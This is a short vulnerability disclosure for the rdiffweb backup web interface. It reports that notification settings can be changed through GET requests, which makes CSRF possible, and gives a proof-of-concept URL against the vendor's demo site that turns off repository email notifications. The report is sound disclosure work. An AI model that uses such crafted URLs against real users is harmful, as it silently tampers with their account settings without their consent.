Description

Periodic updates of repositories were sent as notifications to the user’s email and here GET request sent to the server for modifying repository notifications settings is accepted by the server, which can lead to disabling notifications through a CSRF attack.

Proof of Concept

Replace repos with valid repo names

https://rdiffweb-demo.ikus-soft.com/prefs/notification?repo1%2FC=0&repo2=0&repo3=0&action=set_notification_info

example:

https://rdiffweb-demo.ikus-soft.com/prefs/notification?MyWindowsLaptop%2FC=0&test-encoding=0&testcases=0&action=set_notification_info